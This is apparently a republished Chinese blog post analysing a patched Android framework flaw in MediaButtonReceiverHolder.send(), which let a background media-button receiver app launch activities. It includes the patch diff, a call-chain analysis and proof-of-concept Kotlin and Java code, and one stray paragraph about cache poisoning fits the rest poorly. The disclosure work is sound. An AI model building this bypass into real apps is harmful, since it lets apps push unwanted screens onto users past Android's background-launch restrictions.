android12月公开漏洞分析:普通app绕过BAL限制(附poc)

admin 2025-12-22 04:44:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇文章分析了Android12月安全公告中的一个权限绕过漏洞,该漏洞允许普通应用绕过BAL(BackgroundActivityLaunches)限制。漏洞存在于MediaButtonReceiverHolder.send()方法中,通过BroadcastOptions附带了setTemporaryAppAllowlist和setBackgroundActivityStartsAllowed(true),导致普通app在后台时具备打开activity或service的能力。攻击者可以通过让一个app成为媒体按钮接收者,然后由另一个app触发媒体按键事件,从而让媒体按钮接收者app获得后台启动能力。文章提供了详细的攻击链路分析和POC代码,展示了如何利用该漏洞。 综合评分: 92 文章分类: 漏洞分析,移动安全,漏洞POC,漏洞预警,应用安全


cover_image

android 12月公开漏洞分析:普通app绕过BAL限制(附poc)

原创

做安全的小明同学

大山子雪人

2025年12月13日 12:49 北京

android 12月公开漏洞分析:普通app绕过BAL限制(附poc)

0x00 patch信息

在android的12月份安全公告中,framework层涉及若干权限绕过漏洞。具体漏洞和patch列表可查看这个月的安全公告

https://source.android.com/docs/security/bulletin/2025-12-01

在这些漏洞中,有一个和BAL相关的漏洞。废话不多说,直接看patch代码

https://android.googlesource.com/platform/frameworks/base/+/e707f6600330691f9c67dc023c09f4cd2fc59192

diff --git a/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java b/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
index 72ce38b..e7e70fc 100644
--- a/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
+++ b/services/core/java/com/android/server/media/MediaButtonReceiverHolder.java
@@ -173,35 +173,58 @@

     /**
      * Sends the media key event to the media button receiver.
- &nbsp; &nbsp; * <p>
- &nbsp; &nbsp; * This prioritizes using use pending intent for sending media key event.
+ &nbsp; &nbsp; *
+ &nbsp; &nbsp; * <p>This prioritizes using use pending intent for sending media key event.
&nbsp; &nbsp; &nbsp; *
&nbsp; &nbsp; &nbsp; *&nbsp;@param&nbsp;context context to be used to call PendingIntent#send
&nbsp; &nbsp; &nbsp; *&nbsp;@param&nbsp;keyEvent keyEvent to send
- &nbsp; &nbsp; *&nbsp;@param&nbsp;resultCode result code to be used to call PendingIntent#send
- &nbsp; &nbsp; * &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ignored if there's no valid pending intent.
- &nbsp; &nbsp; *&nbsp;@param&nbsp;onFinishedListener callback to be used to get result of PendingIntent#send.
- &nbsp; &nbsp; * &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Ignored if there's no valid pending intent.
- &nbsp; &nbsp; *&nbsp;@param&nbsp;handler handler to be used to call onFinishedListener
- &nbsp; &nbsp; * &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ignored if there's no valid pending intent.
- &nbsp; &nbsp; *&nbsp;@param&nbsp;fgsAllowlistDurationMs duration for which the media button receiver will be
- &nbsp; &nbsp; * &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; allowed to start FGS from BG.
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;resultCode result code to be used to call PendingIntent#send. Ignored if there's no
+ &nbsp; &nbsp; * &nbsp; &nbsp; valid pending intent.
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;mediaSessionService {@link&nbsp;MediaSessionService} triggering the event
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;callingPackageName package name of the caller
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;callingPid PID of the caller
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;callingUid UID of the caller
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;reportedPackageName package name that is reported to the receiver using {@link
+ &nbsp; &nbsp; * &nbsp; &nbsp; Intent#EXTRA_PACKAGE_NAME}
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;onFinishedListener callback to be used to get result of PendingIntent#send. Ignored if
+ &nbsp; &nbsp; * &nbsp; &nbsp; there's no valid pending intent.
+ &nbsp; &nbsp; *&nbsp;@param&nbsp;handler handler to be used to call onFinishedListener. Ignored if there's no valid
+ &nbsp; &nbsp; * &nbsp; &nbsp; pending intent.
&nbsp; &nbsp; &nbsp; *&nbsp;@see&nbsp;PendingIntent#send(Context, int, Intent, PendingIntent.OnFinished, Handler)
&nbsp; &nbsp; &nbsp; */
- &nbsp; &nbsp;publicbooleansend(Context context, KeyEvent keyEvent, String callingPackageName,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int&nbsp;resultCode, PendingIntent.OnFinished onFinishedListener, Handler handler,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;long&nbsp;fgsAllowlistDurationMs)&nbsp;{
+ &nbsp; &nbsp;publicbooleansend(
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Context context,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;KeyEvent keyEvent,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MediaSessionService mediaSessionService,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String callingPackageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int&nbsp;callingPid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int&nbsp;callingUid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;String reportedPackageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int&nbsp;resultCode,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PendingIntent.OnFinished onFinishedListener,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Handler handler)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;IntentmediaButtonIntent=newIntent(Intent.ACTION_MEDIA_BUTTON);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mediaButtonIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mediaButtonIntent.putExtra(Intent.EXTRA_KEY_EVENT, keyEvent);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//&nbsp;TODO:&nbsp;Find a way to also send PID/UID in secure way.
- &nbsp; &nbsp; &nbsp; &nbsp;mediaButtonIntent.putExtra(Intent.EXTRA_PACKAGE_NAME, callingPackageName);
+ &nbsp; &nbsp; &nbsp; &nbsp;mediaButtonIntent.putExtra(Intent.EXTRA_PACKAGE_NAME, reportedPackageName);

- &nbsp; &nbsp; &nbsp; &nbsp;finalBroadcastOptionsoptions=&nbsp;BroadcastOptions.makeBasic();
- &nbsp; &nbsp; &nbsp; &nbsp;options.setTemporaryAppAllowlist(fgsAllowlistDurationMs,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PowerWhitelistManager.REASON_MEDIA_BUTTON,&nbsp;"");
- &nbsp; &nbsp; &nbsp; &nbsp;options.setBackgroundActivityStartsAllowed(true);
+ &nbsp; &nbsp; &nbsp; &nbsp;PackageManagerpackageManager=&nbsp;context.getPackageManager();
+ &nbsp; &nbsp; &nbsp; &nbsp;try&nbsp;{
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;inttargetUid=&nbsp;packageManager.getPackageUidAsUser(mPackageName, mUserId);
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mediaSessionService.tempAllowlistTargetPkgIfPossible(
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;targetUid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* targetPackage= */&nbsp;mPackageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;callingPid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;callingUid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;callingPackageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* reason= */&nbsp;TAG);
+ &nbsp; &nbsp; &nbsp; &nbsp;}&nbsp;catch&nbsp;(PackageManager.NameNotFoundException e) {
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// Package name doesn't exist.
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(DEBUG_KEY_EVENT) {
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Log.d(TAG,&nbsp;"Can't allowlist, package "&nbsp;+ mPackageName +&nbsp;"doesn't exist");
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
+ &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(mPendingIntent !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(DEBUG_KEY_EVENT) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Log.d(TAG,&nbsp;"Sending "&nbsp;+ keyEvent +&nbsp;" to the last known PendingIntent "
@@ -209,8&nbsp;+232,7&nbsp;@@
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mPendingIntent.send(
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;context, resultCode, mediaButtonIntent, onFinishedListener, handler,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* requiredPermission= */null, options.toBundle());
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;context, resultCode, mediaButtonIntent, onFinishedListener, handler);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}&nbsp;catch&nbsp;(PendingIntent.CanceledException e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Log.w(TAG,&nbsp;"Error sending key event to media button receiver "&nbsp;+ mPendingIntent, e);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;returnfalse;
@@ -233,8&nbsp;+255,7&nbsp;@@
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;default:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// Legacy behavior for other cases.
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;context.sendBroadcastAsUser(mediaButtonIntent, userHandle,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;/* receiverPermission= */null, options.toBundle());
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;context.sendBroadcastAsUser(mediaButtonIntent, userHandle);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}&nbsp;catch&nbsp;(Exception e) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Log.w(TAG,&nbsp;"Error sending media button to the restored intent "
diff --git a/services/core/java/com/android/server/media/MediaSessionService.java b/services/core/java/com/android/server/media/MediaSessionService.java
index 5d571de..63d6d80&nbsp;100644
--- a/services/core/java/com/android/server/media/MediaSessionService.java
+++ b/services/core/java/com/android/server/media/MediaSessionService.java
@@ -2677,13&nbsp;+2677,20&nbsp;@@
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(needWakeLock) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mKeyEventReceiver.acquireWakeLockLocked();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringcallingPackageName=
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringreportedPackageName=
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(asSystemService) ? mContext.getPackageName() : packageName;
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;booleansent=&nbsp;mediaButtonReceiverHolder.send(
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mContext, keyEvent, callingPackageName,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;needWakeLock ? mKeyEventReceiver.mLastTimeoutId : -1, mKeyEventReceiver,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mHandler,
- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MediaSessionDeviceConfig.getMediaButtonReceiverFgsAllowlistDurationMs());
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;booleansent=
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mediaButtonReceiverHolder.send(
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mContext,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;keyEvent,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MediaSessionService.this,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;packageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;uid,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;reportedPackageName,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;needWakeLock ? mKeyEventReceiver.mLastTimeoutId : -1,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mKeyEventReceiver,
+ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mHandler);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(sent) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringpkgName=&nbsp;mediaButtonReceiverHolder.getPackageName();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;for&nbsp;(FullUserRecord.OnMediaKeyEventDispatchedListenerRecord cr

对这个patch的commit是这么描述的:

Add WIU/BFSL allowlisting to MediaButtonReceiverHolder.send

This will replace the existing capability propagation via
BroadcastOptions. Specifically, it avoids accidentally propagating
BAL abilities to the receiver.

0x01 漏洞分析

在 MediaButtonReceiverHolder.send()的补丁前实现中:

Android 使用 BroadcastOptions 附带:

  • • setTemporaryAppAllowlist(…)
  • • setBackgroundActivityStartsAllowed(true)
final&nbsp;BroadcastOptions&nbsp;options&nbsp;=&nbsp;BroadcastOptions.makeBasic();
options.setTemporaryAppAllowlist(fgsAllowlistDurationMs, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PowerWhitelistManager.TEMPORARY_ALLOWLIST_TYPE_FOREGROUND_SERVICE_ALLOWED,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PowerWhitelistManager.REASON_MEDIA_BUTTON,&nbsp;"");
&nbsp; &nbsp; &nbsp; &nbsp; options.setBackgroundActivityStartsAllowed(true);

意味着:

当媒体按键事件通过 PendingIntent广播转发给 target app 时,会把 BAL + FGS 能力 附着在 Intent 上 发送给该 app。造成普通app在后台时具备打开activity或者打开service的能力。

补丁前实现:

options.setTemporaryAppAllowlist(...);
options.setBackgroundActivityStartsAllowed(true);

mPendingIntent.send(..., options.toBundle());
// 或
context.sendBroadcastAsUser(..., options.toBundle());

因此: 任何能够触发

MediaSessionService.dispatchMediaKeyEvent(…) 的组件 可以造成: 把自己的后台启动能力借给另一个 App

接下来就需要看如何触发

MediaSessionService.dispatchMediaKeyEvent


0x02 攻击面与利用条件

  • • 参与角色

    | 角色 | 描述 | | — | — | | A:发起者 App / 系统组件 | 能够调用 dispatchMediaKeyEvent() 或触发媒体键事件 | | B:媒体按钮接收者 App | 当前系统注册的 mLastMediaButtonReceiverHolder |

  • • 利用条件

满足以下条件即可触发漏洞:

  1. 1. B 成为当前媒体按钮接收者
  2. 2. A 能触发媒体按键事件
  3. 3. B 在后台
  4. 4. B 在接收到媒体按键广播后尝试启动 Activity

补丁前:

B 会获得 BroadcastOptions 中的 BAL/FGS 白名单,因此后台启动将被允许。

补丁后(WIU/BFSL):

广播不再携带能力,exploit 失效。 缓存投毒 = 攻击者制造“形式上合法、语义上恶意”的响应,并使其被存入缓存。 之后所有命中缓存的用户均接收该恶意结果。

0x03 触发链路分析

补丁前系统调用链如下:

A -> MediaSessionManager.dispatchMediaKeyEvent()
&nbsp; -> MediaSessionService.SessionManagerImpl
&nbsp; -> MediaSessionService.dispatchMediaKeyEvent()
&nbsp; -> mMediaKeyEventHandler.handleMediaKeyEventLocked()
&nbsp; -> dispatchMediaKeyEventLocked()
&nbsp; -> 找不到有效 MediaSession -> fallback 到 mLastMediaButtonReceiverHolder(B)
&nbsp; -> MediaButtonReceiverHolder.send()
&nbsp; &nbsp; &nbsp; &nbsp;-> PendingIntent.send(..., BroadcastOptions)
&nbsp; &nbsp; &nbsp; &nbsp;-> backgroundActivityStartsAllowed = true
&nbsp; &nbsp; &nbsp; &nbsp;-> temporary FGS allowlist = granted
&nbsp; -> B 获得 BAL / FGS 特权
&nbsp; -> B 后台启动 Activity / FGS 成功

0x04 POC

首先让 B 成为系统的 media button receiver

package&nbsp;com.example.cvepoc

import&nbsp;android.app.PendingIntent
import&nbsp;android.app.Service
import&nbsp;android.content.Intent
import&nbsp;android.media.session.MediaSession
import&nbsp;android.media.session.PlaybackState
import&nbsp;android.os.IBinder

classPlaybackService&nbsp;: Service() {

&nbsp; &nbsp;&nbsp;private&nbsp;lateinit&nbsp;var&nbsp;mediaSession: MediaSession

&nbsp; &nbsp; override fun&nbsp;onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {

&nbsp; &nbsp; &nbsp; &nbsp; mediaSession = MediaSession(this,&nbsp;"BAppMediaSession").apply {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 设置回调(可选,但正常媒体 app 应该处理媒体事件)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setCallback(object : MediaSession.Callback() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; override fun&nbsp;onMediaButtonEvent(mediaButtonIntent: Intent): Boolean {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 可以在这里解析 KeyEvent,自行处理
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnsuper.onMediaButtonEvent(mediaButtonIntent)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; })

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 一般会设置一些 flags(是否处理媒体按钮、音量键等)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setFlags(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MediaSession.FLAG_HANDLES_MEDIA_BUTTONS or
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MediaSession.FLAG_HANDLES_TRANSPORT_CONTROLS
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 构造一个指向本应用 MediaButtonReceiver 的 Intent
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;valmediaButtonIntent=&nbsp;Intent(Intent.ACTION_MEDIA_BUTTON).apply {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setClass(this@PlaybackService, MediaButtonReceiver::class.java)
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 构造 PendingIntent
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;valpendingIntent=&nbsp;PendingIntent.getBroadcast(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mediaButtonIntent,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 4. 注册到 MediaSession 作为 media button receiver(API 26 起标为 deprecated,但仍然有效)
&nbsp; &nbsp; &nbsp; &nbsp; mediaSession.setMediaButtonReceiver(pendingIntent)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 5. 设置播放状态 & 激活 MediaSession(非常关键,否则系统不会优先选你)
&nbsp; &nbsp; &nbsp; &nbsp; mediaSession.setPlaybackState(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PlaybackState.Builder()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setActions(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PlaybackState.ACTION_PLAY or
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PlaybackState.ACTION_PAUSE or
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PlaybackState.ACTION_PLAY_PAUSE or
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PlaybackState.ACTION_STOP
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .setState(PlaybackState.STATE_PLAYING,&nbsp;0L,&nbsp;1.0f)&nbsp;// 或 STATE_PAUSED 等
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .build()
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; mediaSession.isActive =&nbsp;true&nbsp; &nbsp;&nbsp;// 核心:把这个 session 标记为 active
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnsuper.onStartCommand(intent, flags, startId)
&nbsp; &nbsp; }

&nbsp; &nbsp; override fun&nbsp;onBind(intent: Intent?): IBinder? =&nbsp;null

&nbsp; &nbsp; override fun&nbsp;onDestroy()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super.onDestroy()
&nbsp; &nbsp; &nbsp; &nbsp; mediaSession.isActive =&nbsp;false
&nbsp; &nbsp; &nbsp; &nbsp; mediaSession.release()
&nbsp; &nbsp; }
}
package&nbsp;com.example.cvepoc;

import&nbsp;android.content.BroadcastReceiver;
import&nbsp;android.content.Context;
import&nbsp;android.content.Intent;
import&nbsp;android.view.KeyEvent;

publicclassMediaButtonReceiverextendsBroadcastReceiver&nbsp;{

&nbsp; &nbsp;&nbsp;@Override
&nbsp; &nbsp;&nbsp;publicvoidonReceive(Context context, Intent intent)&nbsp;{

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Intent.ACTION_MEDIA_BUTTON.equals(intent.getAction())) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;KeyEventevent=&nbsp;(KeyEvent) intent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(event !=&nbsp;null&nbsp;&& event.getAction() == KeyEvent.ACTION_DOWN) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;IntentactivityIntent=newIntent(context, AudioActivity.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; activityIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; context.startActivity(activityIntent);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

接下来让AdispatchMediaKeyEvent。这个 API 基本是给系统/特权应用用的。 A通常需要满足:

  • • A 是 system/priv-app,或者
  • • A 拥有类似 android.permission.MEDIA_CONTENT_CONTROL 这类媒体控制高权限

虽然需要系统应用才能触发,但是触发条件很容易满足。比如耳机连接手机,并通过耳机控制媒体的播放。

为了演示需要,我们通过input keyevent KEYCODE_MEDIA_PLAY触发button event


查看原文:《android 12月公开漏洞分析:普通app绕过BAL限制(附poc)》

评论:0   参与:  3